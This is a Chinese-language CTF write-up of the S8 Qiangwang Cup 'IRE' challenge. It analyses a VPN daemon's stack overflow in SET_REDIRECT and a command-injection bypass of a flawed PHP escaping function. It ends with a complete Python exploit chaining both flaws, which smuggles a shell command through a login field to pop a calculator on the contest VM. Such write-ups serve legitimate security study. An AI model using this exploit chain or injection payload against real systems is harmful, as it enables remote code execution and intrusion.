S8强网杯 RealWorld部分 IRE详解
字数 1257 2025-08-22 18:37:15
S8强网杯 RealWorld部分 IRE题目分析与漏洞利用详解
1. 题目概述
1.1 题目信息
- 题目名称: ire
- 旗帜名称: IRE
- 环境: Ubuntu 64-bit 22.04.5 LTS虚拟机
- 用户凭证: game/game
- 目标: 通过漏洞利用实现任意命令执行,使靶机弹出计算器
1.2 题目环境
- 题目文件位于
/home/game目录 - 启动脚本:
start.sh - 服务通过systemd管理,服务文件
/etc/systemd/system/myservice.service - 关键程序:
sbgwd和libstrongswan.so.0
2. 环境分析
2.1 服务配置
服务通过systemd启动,配置文件如下:
[Unit]
Description=My Custom Script Service
After=network.target
[Service]
ExecStart=/home/game/start.sh
Restart=on-failure
User=root
Group=root
[Install]
WantedBy=multi-user.target
2.2 网络服务分析
通过ss -tuln命令发现关键服务监听端口:
- TCP 45443: 主服务端口
- TCP 80: Web服务端口
3. 二进制逆向分析
3.1 主程序功能
sbgwd是一个VPN服务程序,主要功能包括:
- 认证(LOGIN)
- 注销(LOGOUT)
- 策略管理(POLICY)
- 会话管理(SESSION)
- 重定向设置(SET_REDIRECT)
- VPN认证(VPN_AUTH)
- 版本获取(GET_VERSION)
3.2 数据包结构
逆向分析得出的数据包格式:
b'SlSp' + p32(data_size) + p8(version) + p8(VPN_auth_flag) + b'b'*10 + p16(opt) + p16(opt7_flag) + p32(ip)
3.3 漏洞点
在SET_REDIRECT功能中发现栈溢出漏洞:
v5 = strchr(v4, ':');
v6 = v5;
if (v5) {
if (v5 != v4)
memcpy(host, v4, v5 - v4); // 栈溢出
syslog(7, "redirect host %s", (const char *)host);
port = strtol(v6 + 1, 0LL, 10);
// ...
}
4. Web服务漏洞分析
4.1 漏洞文件
发现存在漏洞的PHP文件:/var/www/html/ldapTest.php
4.2 命令注入漏洞
漏洞存在于自定义的escapeshellarg_jp函数中,该函数实现不完善:
function escapeshellarg_jp($p_arg) {
// 实现不完整,存在绕过可能
// ...
}
4.3 漏洞利用方法
通过构造特殊输入可以绕过过滤:
- 输入
';ls;#会被转换成\\';ls;# - 最终形成命令:
xx '\\'; ls; #',从而执行任意命令
5. 漏洞利用链构建
5.1 利用步骤
- 通过VPN服务的
SET_REDIRECT功能将流量重定向到本地Web服务 - 利用Web服务中的命令注入漏洞执行任意命令
- 触发计算器弹出完成挑战
5.2 关键点
- 需要VPN证书和密钥进行认证
- 日志中发现的证书路径:
- 私钥:
/etc/ssl/private/ssgw_ssl.key - 证书:
/etc/ssl/certs/ssgw_cert.pem
- 私钥:
6. 完整利用代码
import socket
import ssl
from pwn import *
import time
import json
def create_ssl_context(certfile, keyfile):
context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.load_cert_chain(certfile=certfile, keyfile=keyfile)
return context
def create_ssl_connection(hostname, port, context):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = context.wrap_socket(sock, server_hostname=hostname)
ssl_sock.connect((hostname, port))
return ssl_sock
hostname = '192.168.128.137'
port = 45443
data = '''username=admin'";gnome-calculator;"test1";"&password=123'''
content_length = len(data)
request = f"POST /login.php HTTP/1.1\r\n"
request += f"Host: {hostname}\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += f"Content-Length: {content_length}\r\n"
request += "Connection: close\r\n"
request += "\r\n"
request += data
def main():
certfile = './csr'
keyfile = './key'
ssl_context = create_ssl_context(certfile, keyfile)
ssl_sock = create_ssl_connection(hostname, port, ssl_context)
try:
data = b''
data += b'a' * 0x10
data += b'127.0.0.1:80'
pl = b'SlSP' + p32(len(data), endian='big') + p8(1) + p8(0) + b'b'*5 + p8(1) + b'b'*4 + p16(5, endian='big') + p16(0x1, endian='big')
pl += data
ssl_sock.sendall(pl)
sleep(1)
pl = request.encode()
ssl_sock.sendall(pl)
response = ssl_sock.recv(4096)
response += ssl_sock.recv(4096)
finally:
ssl_sock.close()
if __name__ == '__main__':
main()
7. 总结
- 服务分析:通过逆向工程分析
sbgwd程序,发现其VPN功能和SET_REDIRECT命令的栈溢出漏洞 - Web漏洞:发现本地Web服务中的命令注入漏洞,通过自定义过滤函数的缺陷实现绕过
- 利用链构建:结合VPN重定向功能和Web命令注入,实现远程代码执行
- 实际利用:通过构造特殊数据包触发漏洞,最终实现计算器弹出
关键点在于理解程序的数据结构、发现过滤函数的缺陷以及构建完整的利用链。这种真实环境中的漏洞组合利用方式在CTF和实际渗透测试中都具有重要意义。